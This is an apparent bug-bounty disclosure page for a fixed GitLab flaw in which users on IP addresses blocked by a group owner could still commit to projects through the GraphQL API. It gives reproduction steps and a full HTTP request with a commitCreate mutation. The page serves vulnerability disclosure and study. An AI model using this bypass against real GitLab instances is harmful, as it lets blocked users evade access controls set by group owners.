Users on banned IP addresses can still commit to projects
A group owner can restrict access by IP address, but a user on a blocked IP can still commit to projects via the GraphQL API. An attacker on a banned IP could push changes to a project that should be completely blocked.
GitLab
Originally disclosed on GitLab
- Fixed in 38 days
- Disclosed after 38 days
⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.
HackerOne report #1914049 by js_noob on 2023-03-21, assigned to GitLab Team:
Report | Attachments | How To Reproduce
Report
Summary
Hello team, as a part of the grp/project security an owner can block certain IP addresses from accessing that group resources (projects,...). However, even if a user is on a blocked IP address he can still commit to projects.
Steps to reproduce
- Create a grp, project and add a maintainer
- From the owner navigate to https://gitlab.com/groups/YOUR_GRP/-/edit#js-permissions-settings and add the maintainer IP address under
Restrict access by IP address - From the maintainer navigate to https://gitlab.com/GRP/PROJECT/-/tree/main and verify the 404
- From the maintainer send the following request, but change the variables according to your preferences
POST /api/graphql HTTP/2
Host: gitlab.com
Cookie: YOUR_COOKIES
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://gitlab.com/-/graphql-explorer?_gl=1*1mb1g5a*_ga*MjM3Mzk5MDUzLjE2NzczMjcxMTY.*_ga_ENFH3X7M5Y*MTY3ODk4Mzg2Ni40LjEuMTY3ODk4MzkwNi4wLjAuMA..
Content-Type: application/json
X-Csrf-Token: xD3r11jgwirOfA6E1GB1pL9ZEuq8lqQCYcrZo4eSO8xbfvb9kmkI5BmsLqWWtgLw894u3hwjqXeGO4LbPJ_cNg
Content-Length: 489
Origin: https://gitlab.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
{"query":"mutation MyMutation {\n commitCreate(\n input: {\n projectPath: \"test645811/project-1\",\n branch: \"main\",\n message: \"This is a Commit\",\n actions: [\n {\n action: UPDATE,\n filePath: \"README.md\",\n content: \"This is a test content\",\n encoding: TEXT\n }\n ]\n }\n ) {\n commit {\n author {\n name\n }\n }\n }\n}\n","variables":null,"operationName":"MyMutation"}
- Verify the successful response and from the owner verify the creation of the commit
Video/POC
Impact
Users from banned IP addresses can manage push changes to project where they should be completely blocked from accessing any project that belongs to that group.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section:
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
Users from banned IP addresses can still push changes to projects where they should be completely blocked from accessing any project that belongs to that group.
What the attacker needed
A GitLab account; membership in a group with IP restriction; access to a blocked IP address
How it was found
- Create a group, project, and add a maintainer.
- As owner, add the maintainer's IP address under 'Restrict access by IP address'.
- As maintainer, navigate to the project tree and verify a 404.
- As maintainer, send a GraphQL mutation to create a commit.
- Verify the commit was created.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A group owner can block IP addresses from accessing group resources, but a user on a blocked IP can still commit to projects via the GraphQL API.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.